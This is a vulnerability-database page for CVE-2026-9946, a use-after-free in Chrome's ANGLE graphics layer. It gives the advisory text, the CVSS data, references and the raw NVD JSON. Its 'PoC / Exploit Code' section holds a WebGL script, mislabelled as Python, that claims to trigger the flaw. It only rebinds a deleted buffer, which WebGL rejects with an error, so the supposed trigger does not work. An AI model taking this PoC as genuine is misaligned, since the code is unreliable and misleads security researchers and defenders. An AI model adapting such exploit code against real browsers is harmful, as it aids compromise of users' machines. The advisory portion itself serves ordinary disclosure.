CVE-2026-9946

Description

Use after free in ANGLE in Google Chrome prior to 148.0.7778.216 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: High)

CVSS Details

CVSS Score

8.3

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Google Chrome < 148.0.7778.216

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!--
  Conceptual Proof of Concept for CVE-2026-9946
  Demonstrates the general logic of triggering a UAF in ANGLE via WebGL.
  Note: Actual exploitation requires a compromised renderer process.
-->
<html>
<body>
<script>
  // Attempt to trigger UAF in ANGLE WebGL implementation
  function trigger_exploit() {
    var canvas = document.createElement('canvas');
    var gl = canvas.getContext('webgl');

    if (!gl) return;

    // Create a WebGL buffer resource
    var buffer = gl.createBuffer();
    gl.bindBuffer(gl.ARRAY_BUFFER, buffer);
    gl.bufferData(gl.ARRAY_BUFFER, 1024, gl.STATIC_DRAW);

    // Simulate the sequence that leads to Use-After-Free
    // 1. Perform operations that may complexify the internal state
    var ext = gl.getExtension('WEBGL_debug_renderer_info');
    
    // 2. Delete the buffer (free memory in ANGLE)
    gl.deleteBuffer(buffer);

    // 3. Attempt to access the freed buffer again
    // In a vulnerable version, this accesses freed memory (UAF)
    try {
      gl.bindBuffer(gl.ARRAY_BUFFER, buffer);
      gl.vertexAttribPointer(0, 4, gl.FLOAT, false, 0, 0);
      // If the renderer is already compromised, this UAF can lead to sandbox escape
    } catch (e) {
      console.log("Exception triggered: " + e.message);
    }
  }

  trigger_exploit();
</script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-9946
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-9946
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-9946/
[4] VulDB https://vuldb.com/cve/CVE-2026-9946
[5] https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_0877304591.html
[6] https://issues.chromium.org/issues/503596863

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-9946", "sourceIdentifier": "[email protected]", "published": "2026-05-28T23:16:52.740", "lastModified": "2026-05-29T15:16:26.203", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Use after free in ANGLE in Google Chrome prior to 148.0.7778.216 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: High)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H", "baseScore": 8.3, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.6, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-416"}]}], "references": [{"url": "https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_0877304591.html", "source": "[email protected]"}, {"url": "https://issues.chromium.org/issues/503596863", "source": "[email protected]"}]}}